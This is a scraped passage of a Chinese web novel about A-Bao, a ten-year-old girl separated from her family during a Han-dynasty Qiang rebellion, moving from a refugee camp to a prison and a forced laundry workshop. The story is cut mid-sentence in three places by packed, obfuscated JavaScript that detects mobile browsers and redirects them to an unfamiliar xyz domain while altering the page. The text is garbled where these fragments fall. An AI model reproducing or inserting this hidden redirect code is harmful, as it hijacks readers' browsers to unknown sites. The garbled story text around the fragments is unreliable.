李媪的手停顿了一下,针尖险些刺破手指:“建宁二年,羌乱...我们逃难时走散了。那会儿她才八岁,被人群挤着往前跑,我怎么追也追不上...”她的声音哽咽起来,“十年了...再也没找到...” 我不知该如何安慰,只能轻轻握住她颤抖的手。李媪深吸一口气,继续缝补,但眼泪却一滴滴落在粗布上,洇开深色的痕迹。 傍晚时分,难民营来了个受伤的兵士。他左臂缠着染血的布条,被人搀扶着走进来,面色苍白如纸。 陈先生赶紧让人清理出一块地方,又取来清水和伤药。我帮着端水时,听见那兵士断断续续的叙述: “...西城...守军全军覆没...李校尉战死...尸体堆得像山一样高...” “...羌人杀了俘虏...把首级挂在矛上炫耀...” “...我装死才逃过一劫...爬了整整一夜...” 听着这些,我胃里一阵翻搅。阿父昨日就是往西城方向去的...我不敢再想下去。 帮陈先生给伤兵换药时,我鼓起勇气问道:“军爷可曾见过我阿父?他叫冯安,穿着青衫,个子这么高...”我比划着。 伤兵虚弱地摇摇头:“小姑娘...西城那边...没几个活口了...” 我的心沉了下去,但仍不死心:“也许...也许他逃出来了呢?” 伤兵闭上眼睛,不再回答。陈先生对我摇摇头,示意我别再问。 夜幕降临,难民营点起几堆篝火。人们围坐火边,分享着有限的食物和温暖。李媪把我搂在怀里,哼着那首令人心碎的童谣。 我依偎着她,看火苗跳跃闪烁,忽然想起阿兄教我的那几个字。 “媪,我教你认字好不好?”我说,“我阿兄教过我几个字。” 李媪有些惊讶,随即笑道:“好啊,老身活这么大,还没认过字呢。” 我折了根树枝,在泥地上划起来:“这是‘安’,平安的安。阿父名字里就有这个字。” 李媪认真地看着,粗糙的手指模仿着我的笔画:“这就是‘安’啊...” “这是‘宝’,我的名字。”我又划了一个字,“阿兄说,这是‘家中玉’的意思。” “宝...好字,好字。”李媪喃喃道,眼中映着跳动的火光。 围着火堆的其他人也凑过来看热闹。有个年轻妇人抱着婴儿,轻声道:“小妹也教教我吧,我也想认字。” 于是我开始教他们最简单的字:人、口、手、日、月...他们学得认真,仿佛在这朝不保夕的乱世中,识字成了某种希望的象征。 “学了字,就能看懂官府告示了。”一个老汉说,“知道往哪儿逃安全。” “还能给家人写信。”年轻妇人补充道,虽然我们都知道,这兵荒马乱的年月,书信根本无处可寄。 夜深了,人们陆续睡去。我躺在李媪身边,望着满天星斗,怎么也睡不着。 “媪,你女儿叫什么名字?”我轻声问。 李媪沉默片刻,答道:“叫惠娘。王惠娘。”她的声音在夜风中轻得几乎听不见,“若是你还见到她,告诉她...阿母一直在找她...” 我点点头,虽然知道这承诺如同大海捞针。 “阿母也一定在找我。”我说,声音有些哽咽,“阿父阿母和阿兄...他们一定在找我...” 李媪把我搂得更紧些,哼起那首熟悉的歌谣:“春风摇,那个柳叶俏,燕子点水绕...秋风起,那个草黄了,门口霜雪要来到...” 我在歌声中渐渐合上眼,梦见阿母在村口呼唤我的名字,一声又一声,穿越千山万水,却怎么也传不到我耳边。 夜半时分,我被一阵骚动惊醒。难民营外传来马蹄声和叫喊声,火光晃动,人影幢幢。 “官兵夜袭!”有人惊呼。 营地顿时大乱。人们惊慌失措地四处奔逃,哭喊声再次响彻夜空。李媪猛地坐起,紧紧抓住我的手:“别怕,跟着我!” 我们随着人流往营地深处躲去。箭矢破空声不绝于耳,火光中可见骑兵在营地外围冲杀。 “蹲下!快蹲下!”陈先生高声呼喊,试图维持秩序。 混乱中,我与李媪被人群冲散。我惊慌地呼喊:“媪!李媪!” 但回应我的只有恐慌的尖叫和兵刃相交的铿锵。一支火箭咻地射入我身旁的草棚,顿时燃起大火。 热浪扑面而来,我吓得连连后退,不小心绊倒在地。眼看火势就要蔓延过来,一只有力的大手突然将我拉起。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530062|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “小姑娘,这边走!”是个陌生的男子声音。 我被他拖着往安全处跑,回头望去,只见难民营已陷入一片火海。许多人在地上翻滚惨叫,试图扑灭身上的火焰。 那男子把我带到一处断墙后:“在这里等着,莫要出来!” 我蜷缩在墙角,浑身发抖。火光映红了半边天,喊杀声、哭嚎声、燃烧的噼啪声交织在一起,宛若地狱景象。 不知过了多久,骚动渐渐平息。黎明的曙光中,难民营已成废墟,余烟袅袅,尸横遍地。 我颤抖着走出藏身处,四处寻找李媪的身影。 “媪!李媪!”我呼喊着,在废墟和尸体间艰难穿行。 终于,在一处烧毁的帐篷旁,我看到了那熟悉的身影。李媪躺在地上,胸口插着一支羽箭,鲜血染红了她的粗布衣襟。 “媪!”我扑到她身边,泪水模糊了视线。 李媪的眼睛微微睁开,看到是我,艰难地露出一丝微笑:“阿宝...没事就好...” 我握住她冰冷的手,泣不成声。 “惠娘...”她喃喃道,眼神开始涣散,“阿母...找不到啊...我的小阿宝...” 她的手突然垂落,眼睛永远地闭上了。 我跪在那里,握着她的手,久久不能动弹。晨风吹过,带来刺鼻的焦糊味和血腥气。 陈先生拖着受伤的腿走过来,看到这一幕,长叹一声:“叛军说是官兵夜袭,官兵说是叛军内讧...苦的都是百姓啊...” 他轻轻拉开我:“让老人家安息吧,孩子。” 我机械地跟着他,回头望去,李媪的遗体在晨曦中显得格外渺小而孤独。 陈先生组织幸存者清理废墟,埋葬死者。我帮着拾捡散落的物品,在一处灰烬中,找到了李媪缝补用的针线包。 我小心地收起它,仿佛这样就能留住一点关于她的记忆。 中午,叛军派人来送粮食和药品,并为夜间的“误会”道歉。陈先生冷着脸接收了物资,什么也没说。 我领到一碗粥,却怎么也喝不下。李媪的位置空了,再也没有人会分我半块干饼,没有人会哼着歌谣哄我入睡。 “爹娘找不到啊,我的小阿宝...”我不自觉地哼起那首曲子,眼泪滴进粥碗里,漾开一圈圈涟漪。 下午,我在难民营门口帮忙分发食物时,远远看见一个熟悉的身影——是王允! 我激动地跑过去:“王军侯!” 王允转过身,看到是我,露出欣慰的笑容:“阿宝!你还活着!”他蹲下身,仔细打量我,“受伤没有?吃过饭没有?” 我摇摇头,急切地问道:“找到我阿父阿母了吗?” 王允的笑容黯淡下来:“我在军中打听过,暂时...还没有消息。”见我失望的表情,他赶紧补充,“但我不会放弃的。这次回来就是奉命驻守陇西,有时间慢慢找。” 他看看难民营的惨状,皱起眉头:“昨夜的事我听说了。你不能留在这里,太危险。” “那我能去哪?”我茫然地问。 王允思索片刻:“我在城西有处小院,原本是租给一家商户的。他们逃难去了,院子空着。你可以暂住那里,总比在这里安全。” 我犹豫地看向陈先生。陈先生点点头:“去吧,孩子。这里有我们这些老骨头就够了。” 于是我跟王允离开了难民营。走在依旧满目疮痍的街道上,我紧紧抓着他的衣角,生怕再被丢下。 王允的小院不大,但整洁安静。有一间正房,一间灶屋,院子里还有口井。 “你就住这里。”王允打开房门,“我会派人送粮食过来。记住,无事不要出门,外面还不太平。” 我点点头,好奇地打量着这个新环境。虽然简陋,但比起难民营,已是天堂。 王允临走前,又回头道:“我会继续打听你家人的消息。一有线索,就来告诉你。” 我感激地看着他:“谢谢军侯。” 他摆摆手,大步离去。 我独自站在院中,忽然感到一阵前所未有的孤独。风吹过树梢,发出沙沙声响,像是李媪还在哼着那首童谣。 我从衣襟里掏出那块已经干硬的糖糕,小心地掰成四份,将其中三份用油纸重新包好,放在枕下。 这是留给阿父阿母和阿兄的。我相信总有一天,我们会重逢,到时候,我要把这块糖糕分给他们,告诉他们阿宝一直留着,一直没舍得吃。 夜幕降临,我躺在陌生的床铺上,望着窗外的月亮。 “月亮照不到啊我的小阿宝...”我轻声哼着,不知是在唱自己,还是在唱李媪失去的女儿,又或是在唱这乱世中所有离散的骨肉。 那一夜,我梦见自己变成了一只燕子,飞越高山河流,寻找着回家的路。 春风摇,那个柳叶俏,燕子点水绕。但我知道,春天终将过去,秋风起时,霜雪就要来到。 而我的归途,还远在看不见的远方。 5. 梦魇萦绕 王允的小院成了我临时的避风港。 院子不大,泥坯围墙,一口老井,墙角有棵半枯的槐树。但比起难民营,这里已是天堂。王允派人送来了粮食和被褥,还有个哑巴老仆每日来帮忙挑水做饭。 独处的第一夜,我睡得并不安稳。躺在陌生的床铺上,听着窗外风声呜咽,仿佛还能听到难民营里的哭喊。半梦半醒间,我似乎又回到了家中那个温暖的灶房。 “阿宝,来看阿母绣花。” 梦中,阿母的面容清晰如昨。她坐在窗边,手中针线穿梭,在素绢上绣出一朵绽放的桃花。阳光透过窗棂,为她镀上一层柔和的光晕。 我凑过去,好奇地看她飞针走线:“阿母绣得真好看。” “阿宝也想学吗?”阿母笑着问我,眼角弯成温柔的弧度。 我用力点头。于是阿母手把手教我握针,引线。我笨拙地模仿,针脚歪歪扭扭,绣出来的花瓣像被虫啃过似的。 “不急,慢慢来。”阿母耐心地纠正我的手法,“女红如做人,欲速则不达。” 这时阿兄从外面跑进来,浑身是土,手里还抓着只蝈蝈:“阿宝你看!我捉到的!” 他凑过来看我绣花,故意做个鬼脸:“绣得真丑!像阿母鞋底踩死的蟑螂!” 我气鼓鼓地要打他,阿兄灵活地躲开,却不小心撞翻了阿母的针线筐。彩线滚了一地,绣绷也掉在地上。 “冯栋!”阿母板起脸,“捡起来!” 阿兄吐吐舌头,乖乖蹲下身收拾。我趁机在他背上捶了两下,他夸张地嗷嗷叫。 阿母看着我们打闹,忍不住笑出声。那笑声清脆悦耳,如同檐下风铃。 场景忽然模糊起来,温暖的灶房如烟雾般消散。再清晰时,阿母的面容变得憔悴不堪。 梦中的阿母仿佛老了几十岁,鬓角斑白,脸上布满细纹。最可怕的是她的右眼——那里只剩下一个空洞的眼窝,结着暗红色的痂。一道狰狞的伤疤从额头划过鼻梁,一直延伸到左颊。 她的衣衫褴褛,露出的手臂上满是淤青和伤痕。 “阿宝...”她开口,声音嘶哑得几乎认不出来,“快逃...” 我惊恐地想后退,却动弹不得:“阿母!你的眼睛!谁伤了你?” 阿母不答,只是重复着:“快逃...别回头...千万别回来...” 她伸出枯瘦的手,似乎想触摸我,却又猛地缩回,仿佛怕玷污了我。 “阿母和阿父在一起吗?阿兄呢?”我急切地问。 阿母的独眼中流出浑浊的泪水:“逃...快逃...他们来了...” 她的身影开始模糊,如同浸水的墨画。我拼命想抓住她,却扑了个空。 “阿母!别走!告诉我你们在哪!”我哭喊着。 最后映入眼帘的,是阿母那只完好的左眼,里面盛满了无尽的悲伤与恐惧。 “记住...活下去...”这是她最后的话语,随即彻底消失在黑暗中。 我猛地惊醒,浑身冷汗。 月光透过窗纸,在房中洒下清冷的光辉。四下寂静,只有我的心跳如擂鼓般轰鸣。 “阿母...”我喃喃自语,泪水无声滑落。 那个梦太真实了,真实得令人恐惧。阿母憔悴的面容,那只空洞的眼窝,身上的伤痕...一切都栩栩如生。 是真的吗?还是只是我过度担忧产生的幻象? 我再也睡不着,起身点亮油灯。昏黄的灯光下,我从枕下取出那三块糖糕,用油纸仔细包好。 “阿母,阿父,阿兄...你们一定还活着,对吗?”我对着糖糕轻声说,仿佛它们能给我答案。 窗外传来打更的梆子声——三更天了。凉州四月的夜依然寒冷,我裹紧薄被,却感觉不到丝毫暖意。 第二日,哑巴老仆来做饭时,我鼓起勇气问他:“老伯,你知道哪里可以打听消息吗?关于...关于战乱中失散的人。” 老仆摇摇头,指指自己的嘴巴和耳朵,示意他既不能说话也听不见。 我失望地低下头。也是,他一个哑巴老仆,能知道什么呢? 饭后,我帮老仆清洗碗筷时,发现他左手只有四根手指——小指齐根断去,留下一个丑陋的伤疤。 老仆注意到我的目光,迅速把手缩回袖中,眼神躲闪。 那一刻我忽然意识到,在这乱世之中,每个人都有自己的故事和创伤。 下午,我在院中晒太阳,忽然听到墙外有两个妇人的交谈声。 “...听说昨夜官兵又偷袭了西营,烧了不少粮草...” “作孽啊!这仗要打到什么时候?” “谁知道呢...不过我听说俘虏营里又关了一批人,都是从各乡抓来的壮丁...” 俘虏营?我的心猛地一跳。阿父和阿兄会不会在那里? 等妇人走远,我悄悄推开院门,向外张望。街道上行人稀少,偶尔有巡逻的叛军经过。 一个卖炊饼的老翁推着车缓缓走过,吆喝声有气无力。 我犹豫片刻,回屋取出一枚王允给的铜钱,快步走向老翁。 “老伯,买个饼。”我递过铜钱。 老翁看看我,从车上取下一个还温热的饼子:“小姑娘,怎么一个人?家人呢?” 我低下头:“走散了...老伯,您知道俘虏营在哪吗?” 老翁脸色微变,压低声音:“打听这个做什么?那可是晦气地方!” “我阿父和阿兄可能在那里...”我小声说。 老翁摇摇头:“劝你别去。那里看守森严,靠近不得。况且...”他欲言又止,“况且里头的人大多活不长...” 我的心沉了下去:“为什么?” “粮草紧缺,俘虏自然是先饿死的那个。”老翁叹口气,“听说每日都往外拉尸体,堆在城外烧呢...” 我手中的饼子差点掉落。老翁见状,又补充道:“不过也未必就在那里。或许你家人逃到别处去了呢?” 我知道他是在安慰我。谢过老翁,我拿着饼子回到院中,却一口也吃不下。 阿母梦中的面容又浮现在眼前。那只空洞的眼窝,仿佛在无声地诉说着她所经历的苦难。 当晚,我又做了类似的梦。 这一次,我梦见阿兄。他不再是那个活泼顽皮的少年,而是一个瘦骨嶙峋、眼神空洞的囚徒。他被铁链锁着,和其他俘虏一起在严寒中挖壕沟。监工的鞭子抽下来,在他背上留下道道血痕。 “阿兄!”我在梦中呼喊。 阿兄抬起头,茫然地看向我的方向,却仿佛看不见我。 “阿宝...快逃...”他喃喃道,声音微弱得几乎听不见。 然后他咳起来,咳得撕心裂肺,最后竟咳出一口血来。 我惊叫着醒来,浑身冷汗淋漓。 月光依然清冷,夜风呜咽如泣。 接连几夜,类似的噩梦不断上演。有时是阿父在战场上拼杀,身中数箭;有时是阿母在逃亡途中跌落山崖;有时是一家人在混乱中互相寻找,却总是擦肩而过。 每个梦境都那么真实,醒来后那种心痛和恐惧久久不散。 我开始害怕入睡,每晚守着油灯到深夜。哑巴老仆发现我日渐憔悴,特意煮了安神的枣茶,但我喝了依旧无济于事。 第五日,王允终于来了。他带来一小袋米和一些腌菜,还有——令我惊喜的——几本旧书。 “听说你识字,这些给你解闷。”他说着,注意到我苍白的脸色,“怎么?生病了?” 我摇摇头,犹豫着是否该告诉他那些梦境。 王允蹲下身,平视着我:“有什么难处,尽管告诉我。” 于是我鼓起勇气,将那些噩梦和盘托出,包括阿母瞎了的右眼和满身伤痕。 王允听后沉默良久,眉头紧锁。 “军侯,你觉得...那些梦是真的吗?”我忐忑地问。 王允叹了口气:“梦由心生,日有所思夜有所梦。但乱世之中,什么都有可能发生...”他顿了顿,似乎在斟酌词句,“不过你母亲若真的受伤,或许反是好事。” 我不解地看着他。 “受伤的人通常会被送到伤兵营或者医馆,而不是...”他咽下了后半句话,但我知道他指的是俘虏营那种地方。 一丝希望在我心中燃起:“那我能去医馆找找吗?” 王允摇头:“城中医馆都人满为患,且戒备森严。你一个孩子,进不去的。”见我失望的表情,他补充道,“但我可以帮你打听。我在军中有几个熟人,或许能查到记录。” 我感激地点点头:“谢谢军侯。” 王允摸摸我的头:“坚强些,阿宝。这世道,活下去就是胜利。” 他临走前,又回头道:“对了,三日后我要随军出征。可能要一个月后才能回来。这期间,老仆会照顾你。切记不要随意出门,最近城里不太平。” 我怔怔地看着他:“军侯也要走?” “军令如山。”他苦笑一下,“放心,我会尽快回来。希望那时能有你家人的消息。” 我站在门口,目送他的背影消失在长街尽头,心中空落落的。 王允走后,日子更加难熬。我每日守着空院,对着那几本旧书打发时间。书中多是经史子集,我看得似懂非懂,但总比无所事事要好。 哑巴老仆待我很好,每日变着法子做吃的,虽然无非是粥和饼子。他有时会指着书上的字,用眼神询问我意思,我便耐心教他认字。他学得很慢,但极其认真。 第七日傍晚,我正在院中读书,忽然听到墙外传来熟悉的歌谣声: “鸡儿啄,那个羊儿跑,吾家阿宝采荇藻...日头晒,那个蝉声噪,蜻蜓点水摇...” 我猛地站起——这是阿母的歌谣!村里人才会唱! 我冲到院门边,悄悄推开一条缝。只见一个衣衫褴褛的妇人坐在对面墙角,怀里抱着个婴儿,低声哼唱着。 那妇人的背影有几分眼熟... “李婶?”我试探着叫出声。 妇人回过头来——果然是村里的李婶!但她面色蜡黄,瘦得脱了形,几乎认不出来了。 “阿宝?”李婶睁大眼睛,“你还活着!老天爷啊!” 我急忙跑过去:“李婶!你怎么在这里?见过我阿母阿父吗?” 李婶的眼泪一下子涌了出来:“阿宝啊...你阿母她...”她哽咽得说不下去。 我的心猛地一沉:“阿母怎么了?你见过她?” 李婶抹着眼泪,断断续续道:“那日城破.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530063|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .我们被人群冲散...我看见你阿母为了找你,被乱兵...被乱兵...” “被乱兵怎么了?”我急切地抓住她的手。 “被乱兵刺伤了眼睛...”李婶泣不成声,“右眼...鲜血淋漓...我本想帮她,但被人流推着往前走...后来就再没见到了...” 我如遭雷击,僵在原地。 梦中的景象——阿母空洞的右眼窝,脸上的伤痕——竟然是真的! “那我阿父和阿兄呢?”我颤声问。 李婶摇头:“没看见...当时太乱了...我带着小儿子拼命逃,好不容易活下来...”她怀中的婴儿适时哭起来,声音微弱如小猫。 我这才注意到婴儿脸色青紫,呼吸微弱。 “孩子病了?”我问。 李婶点头,眼泪又涌出来:“发热三天了...没钱看郎中...” 我想起王允留下的铜钱,急忙跑回屋取出几枚,塞给李婶:“快去找郎中!” 李婶千恩万谢,磕头都要跪下了。我赶紧扶住她:“快去!孩子要紧!” 看着李婶踉跄远去的背影,我靠在院墙上,浑身发软。 阿母真的伤了眼睛...那其他的梦呢?阿父和阿兄的遭遇也是真的吗? 我不敢再想下去。 那一夜,我彻夜未眠。油灯下,我反复摩挲着那三块已经干硬的糖糕。 “阿母...你还活着吗?在哪里?”我对着虚空喃喃自语。 窗外风声呜咽,仿佛在回应我的呼唤。 凌晨时分,我终于迷迷糊糊睡去。这一次,我梦见自己在一片迷雾中行走,四处呼唤家人,却只听到自己的回声。 忽然,迷雾散开,阿母出现在前方。她依然憔悴,瞎了一只眼,但脸上带着淡淡的微笑。 “阿宝...”她伸出手,“来...” 我向她跑去,却怎么也接近不了。我们之间仿佛隔着无形的屏障。 “阿母!”我哭喊着,“你在哪里?告诉我!” 阿母的嘴唇动了动,但我听不见声音。从口型看,她似乎在说两个字—— “冀城”。 然后梦就醒了。 我坐起身,心中怦怦直跳。冀城?那不是陇西邻郡的治所吗?听说叛军正在攻打那里。 阿母是在暗示我,他们在冀城吗?还是这只是我的臆想? 天亮后,我迫不及待地等哑巴老仆来,用树枝在地上写下“冀城”二字,问他是否知道这个地方。 老仆点点头,用手势表示很远,很危险。 “有人去过那里吗?”我问。 老仆摇摇头,又点点头,比划了半天,我才明白他的意思:有亲戚在冀城,但战乱后音信全无。 我失望地低下头。看来冀城也不是安全之地。 接下来的日子,我度日如年。王允没有消息,李婶也不知去了哪里。我每日守着空院,唯一的慰藉就是那几本书和哑巴老仆的陪伴。 我开始教老仆写更多的字。他学得很慢,但极其认真,粗糙的手指握着树枝,在泥地上一笔一划地练习。 有时我想,若天下太平,老仆这般年纪的人本该儿孙绕膝,安享晚年,而不是在这乱世中为一个陌生女娃做仆役。 四月将尽时,城中气氛突然紧张起来。巡逻的士兵增加了,夜间宵禁也更早了。哑巴老仆比划着告诉我:大战将至。 我心中忐忑,既盼王允归来带来家人消息,又怕他带回噩耗。 廿九日清晨,我被一阵急促的敲门声惊醒。不是老仆平日温和的叩门声,而是急躁的捶打。 “开门!搜查叛党!”门外传来粗鲁的吼声。 我吓得缩在床角,不敢应答。 门闩被猛地撞断,几个兵士冲进院中,盔明甲亮,刀剑出鞘。 “搜!”为首的小队长下令。 兵士们翻箱倒柜,将本就简陋的屋子搅得一团糟。我躲在角落里,瑟瑟发抖。 一个小队长走向我:“小孩,谁让你住这里的?” 我颤声回答:“王...王允军侯...” “王允?”小队长眯起眼,“他涉嫌通敌,已经下狱了。这院子充公了!” 如晴天霹雳,我呆在原地。王允下狱了?那谁帮我找家人?谁照顾我? “带走!”小队长对下属挥手。 两个兵士上前架起我。我拼命挣扎:“放开我!我要等王军侯回来!” “等他?”小队长冷笑,“等着给他收尸吧!” 我被拖出院子,扔上一辆马车。车上已经有几个妇孺,个个面如土色,瑟瑟发抖。 马车启动,驶向未知的命运。我回头望去,小院越来越远,最终消失在街角。 风中似乎又传来那首童谣:“秋风起,那个草黄了,门口霜雪要来到,月亮照不到我的小阿宝...” 我摸摸衣襟,那三块糖糕还在。这是我和家人最后的联系了。 “阿母,阿父,阿兄...”我低声呼唤,“你们在哪里啊...” 马车颠簸前行,驶向茫茫未知。而十岁的阿宝,再次失去了栖身之所,在这乱世中飘零如萍。 乱世众生,命如草芥。唯有那首童谣,穿越血与火,在心中久久回响。 6. 生辰糕 我被扔进了一处临时牢狱。 这里原本似乎是某个大户人家的仓廪,如今却挤满了妇孺老幼。空气中弥漫着霉味、汗味和淡淡的血腥气,令人作呕。 “新来的?这边还有点地方。”一个面色憔悴的妇人挪了挪身子,给我让出一小块空地。 我怯生生地坐下,环顾四周。昏暗的光线下,一张张麻木的面孔如同鬼魅。角落里有个婴儿在哭,声音已经嘶哑,却无人理会。 “为什么抓我们?”我小声问那妇人。 妇人苦笑:“还需要理由吗?说是搜查叛党家眷,其实就是抓人来充数、换赏钱。”她打量着我,“你是哪家的?” “我...我叫冯阿宝,与家人走散了,暂住在王允军侯的院子里。”我低声道。 妇人眼中闪过一丝讶异:“王军侯?听说他前日下狱了,罪名是私通官军。” 我的心沉了下去。王允是我最后的希望,如今连他也自身难保。 “那...我们会怎么样?”我颤声问。 妇人摇摇头,眼神空洞:“谁知道呢。或许充作奴仆,或许...”她没有说下去,但我明白那未尽的含义。 仓廪的门突然打开,一个兵士扔进一桶稀粥和几个粗面饼子:“吃饭!” 人们顿时如饿狼般扑上去,争抢食物。我被挤在外围,等挤到桶边时,只剩下一点残渣。一个好心的老妪分了我半块饼子,硬得像石头,难以下咽。 咽着干硬的饼子,我突然想起一件事——今天是我的生辰。 往年这个时候,阿母一定会起个大早,蒸一笼香喷喷的桂花糕。那是用精米磨粉,掺入蜂蜜和干桂花,再点缀几颗红枣蒸制而成。平日里是决计舍不得吃的,唯有生辰和年节才有这般口福。 阿兄的鼻子最灵,总是第一个闻到香气,窜进灶房嚷嚷:“阿母偏心!只给阿宝做糕!” 阿母便会笑骂:“等你生辰,阿母也给你蒸!” 然后阿父会放下手中的竹简,笑眯眯地看着我们兄妹打闹。阿兄总会偷偷掰一小块刚出锅的糕,烫得直吹气,却迫不及待地往嘴里塞。 “臭小子!妹妹的寿糕也抢!”阿母作势要打,阿兄便躲到阿父身后做鬼脸。 最后总是每人分得一块,坐在院中桃树下慢慢品尝。甜糯的糕体在口中化开,桂花的香气萦绕不散。那是我一年中最幸福的时刻。 “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...”我不自觉地哼起那首童谣,眼泪无声滑落。 旁边的妇人看了我一眼,没说什么,只是默默递来一块粗布:“擦擦吧,孩子。这世道,哭也没用。” 我接过布,却擦不干源源不断的泪水。 夜幕降临,仓廪内越发寒冷。人们挤在一起取暖,呻吟声、啜泣声此起彼伏。 我蜷缩在角落,从衣襟里摸出那三块糖糕。经过这些时日的颠簸,它们已经干硬开裂,但我仍能闻到一丝淡淡的甜香。 “阿母,阿父,阿兄...今日是阿宝的生辰...”我对着糖糕喃喃自语,“你们在哪里?可还安好?” 没有人回答。只有窗外呼啸的风声,如泣如诉。 饥寒交迫中,我迷迷糊糊睡去。梦中,我又回到了那个温馨的灶房。 阿母正掀开蒸笼,白雾腾起,桂花糕的甜香扑鼻而来。阿兄迫不及待地伸手去拿,被阿母轻轻打了一下:“烫!等凉些再吃!” 阿父坐在桌旁,眼中满是笑意:“阿宝又长一岁了,是个大姑娘了。” 我正要回答,场景突然扭曲。灶房消失不见,取而代之的是漫天烽火。阿母的脸上鲜血淋漓,右眼成了一个血洞。阿父身中数箭,倒在血泊中。阿兄被铁链锁着,瘦得皮包骨头。 “阿宝,快逃!”他们齐声呼喊,“活下去!” 我惊叫着醒来,浑身冷汗。仓廪内依然昏暗,身边的人都在沉睡,偶尔有人发出痛苦的呻吟。 再也睡不着,我摸索着取出一直贴身收藏的桃木梳——那是去年生辰阿父送的礼物。梳齿已经断了几根,但我仍舍不得丢弃。 “阿父...”我轻声呼唤,仿佛这样就能穿越千山万水,传到亲人耳边。 凌晨时分,仓廪门再次打开。几个兵士举着火把进来,大声吆喝:“都起来!排好队!” 人们惊慌地起身,不知道又要发生什么。我被人流推挤着向外走,心中忐忑不安。 我们被带到一处广场,那里已经黑压压站满了人。一个军官模样的人站在高台上,大声宣读着什么。距离太远,听不真切,只隐约听到“充军”、“为奴”等字眼。 人群中响起压抑的哭泣声。我身旁的一个少女直接晕倒在地,被兵士粗暴地拖走。 轮到我们这一队时,一个书记模样的人挨个登记姓名、籍贯。 “冯阿宝,陇西冯家村人。”我小声道。 书记抬头看了我一眼:“年龄?” “刚满十一。”我说,想起昨日是自己的生辰。 书记在竹简上记了几笔,对旁边的兵士道:“这个年纪小了些,先送浣衣处吧。” 于是我被人从队伍中拉出,推向另一群人。大多是妇人和年纪稍长的少女,个个面色惶然。 我们被押解着穿过街道,来到城西一处大院。这里似乎是某个被抄没的官员府邸,如今成了临时工坊。 一个管事模样的中年妇人迎上来,打量着我们这群新来的:“我是这里的管事,你们可以叫我赵媪。来了这里,就老老实实干活,少不了你们吃喝。若是偷奸耍滑...”她冷笑一声,“有你们好受的!” 我们被分派到不同的院落。我所在的浣衣处有二十余人,终日洗衣晾晒,供应军中所需。 活计很重。每日天不亮就要起床,在冰冷的河水中捶打衣物,双手很快红肿开裂。伙食却只有稀粥和粗饼,勉强果腹。 但比起牢狱,这里至少通风透气,还能看到天空。我甚至庆幸自己被分到这里,而不是其他更可怕的地方。 几日下来,我渐渐熟悉了流程。同院的妇人们大多沉默寡言,但有个叫惠娘的少女对我颇为照顾。 惠娘约莫十五六岁,据说是城中织匠的女儿,家人在战乱中失散。她教我如何省力地捶洗衣物,如何在监工不注意时偷偷歇息。 “省着点力气,”她低声道,“这日子还长着呢。” 有时夜深人静,惠娘会低声哼起歌谣。不是阿母那种温柔的调子,而是凉州民间常见的小曲,带着几分苍凉。 “鸡儿啄,那个羊儿跑,吾家阿宝采荇藻...”一日,我意外地听到她哼起类似的旋律。 我惊讶地看向她:“惠娘姐姐,你也会这个?” 惠娘笑了笑:“凉州人谁不会几句?我娘以前常唱。”她的眼神黯淡下来,“不知她现在何处...” 同病相怜,我们之间的距离一下子拉近了。有时趁着监工不注意,我们会偷偷交换各自的故事。 惠娘告诉我,她原本定在今年出嫁,未婚夫是个老实本分的陶匠。战乱爆发后,未婚夫被征入伍,生死未卜。 “但愿他还活着。”惠娘说着,眼中闪着泪光,“等太平了,我们还要成亲呢。” 我不知该如何安慰,只能握住她的手。在这朝不保夕的乱世,希望成了最奢侈的东西。 洗衣的日子单调而艰苦。我的双手很快磨出厚茧,原本细腻的皮肤变得粗糙。但最难受的是对家人的思念,如影随形,噬咬内心。 每夜躺在床上,我都会拿出那三块糖糕,对着它们说话,仿佛亲人能听到一般。 “阿母,今日我洗了三十件军衣,赵媪夸我勤快呢。” “阿父,我认得了几个新字,是惠娘姐姐教的。” “阿兄,你在哪里?可还安好?” 糖糕日渐干缩,如同我渺茫的希望。 一日,赵媪突然来到浣衣处,宣布有贵客将至,要挑几个伶俐的去前厅伺候。 女孩子们顿时紧张起来。谁都知道,所谓“伺候”可能意味着什么。 赵媪的目光扫过人群,最后落在我身上:“你,还有你,过来。” 我和惠娘被选中了。惠娘脸色苍白,紧紧握着我的手。 我们被带至前厅,那里已经摆开宴席。几个军官模样的人坐在上首,大声谈笑。赵媪命我们在一旁侍立,随时斟酒添菜。 我低着头,不敢直视那些醉醺醺的军官。他们的谈话断断续续传入耳中。 “...冀城指日可下!届时韩将军必重赏我等...” “...听说朝廷派了皇甫嵩前来征讨...” “...怕什么!凉州男儿岂是中原弱卒可比...” 冀城?我的心猛地一跳。梦中阿母似乎提过这个地方! 就在这时,一个军官突然拽住惠娘的手:“这小娘子模样周正,来,陪爷喝一杯!” 惠娘吓得连连后退:“军爷恕罪,奴婢不会饮酒...” 军官恼羞成怒,一把将她拉入怀中:“不给面子?” 赵媪连忙上前打圆场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 